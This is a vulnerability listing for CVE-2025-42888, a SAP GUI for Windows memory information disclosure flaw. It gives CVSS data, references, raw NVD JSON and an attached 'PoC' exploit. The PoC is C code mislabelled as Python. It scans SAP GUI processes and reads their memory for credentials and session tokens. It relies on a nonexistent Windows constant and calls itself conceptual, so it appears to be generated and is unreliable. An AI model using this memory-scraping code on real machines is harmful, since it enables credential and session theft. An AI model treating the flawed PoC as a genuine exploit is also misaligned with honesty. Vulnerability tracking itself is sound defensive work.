CVE-2025-42888

Description

SAP GUI for Windows may allow a highly privileged user on the affected client PC to locally access sensitive information stored in process memory during runtime.This vulnerability has a high impact on confidentiality, with no impact on integrity and availability.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SAP GUI for Windows (版本待确认，参见SAP Note 3651097)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-42888 PoC - SAP GUI Memory Information Disclosure
// Note: This is a conceptual PoC for educational purposes only
// Requires high privileges and local access

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

int main() {
    DWORD processes[1024], bytesReturned;
    EnumProcesses(processes, sizeof(processes), &bytesReturned);
    
    int numProcesses = bytesReturned / sizeof(DWORD);
    
    for (int i = 0; i < numProcesses; i++) {
        HANDLE hProcess = OpenProcess(
            PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            FALSE, processes[i]
        );
        
        if (hProcess) {
            char processName[MAX_PATH];
            if (GetModuleBaseNameA(hProcess, NULL, processName, sizeof(processName))) {
                // Look for SAP GUI processes
                if (strstr(processName, "saplogon") || strstr(processName, "SAP")) {
                    printf("Found SAP GUI Process: %s (PID: %d)\n", processName, processes[i]);
                    
                    // Attempt to read process memory (requires high privileges)
                    MEMORY_BASIC_INFORMATION memInfo;
                    LPVOID addr = 0;
                    
                    while (VirtualQueryEx(hProcess, addr, &memInfo, sizeof(memInfo))) {
                        if (memInfo.State == MEM_COMMIT && 
                            memInfo.Protect & (PAGE_READABLE | PAGE_READWRITE)) {
                            // Read memory region - contains sensitive data
                            BYTE buffer[4096];
                            SIZE_T bytesRead;
                            
                            if (ReadProcessMemory(hProcess, addr, buffer, sizeof(buffer), &bytesRead)) {
                                // Analyze buffer for sensitive patterns
                                // Sensitive data may include: credentials, session tokens, business data
                            }
                        }
                        addr = (LPVOID)((DWORD_PTR)memInfo.BaseAddress + memInfo.RegionSize);
                    }
                }
            }
            CloseHandle(hProcess);
        }
    }
    
    return 0;
}

// Mitigation:
// 1. Apply SAP security patches (SAP Note 3651097)
// 2. Restrict local administrator access
// 3. Enable memory protection features
// 4. Monitor process memory access

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-42888
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-42888
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-42888/
[4] VulDB https://vuldb.com/cve/CVE-2025-42888
[5] https://me.sap.com/notes/3651097
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-42888", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:37.503", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP GUI for Windows may allow a highly privileged user on the affected client PC to locally access sensitive information stored in process memory during runtime.This vulnerability has a high impact on confidentiality, with no impact on integrity and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-316"}]}], "references": [{"url": "https://me.sap.com/notes/3651097", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}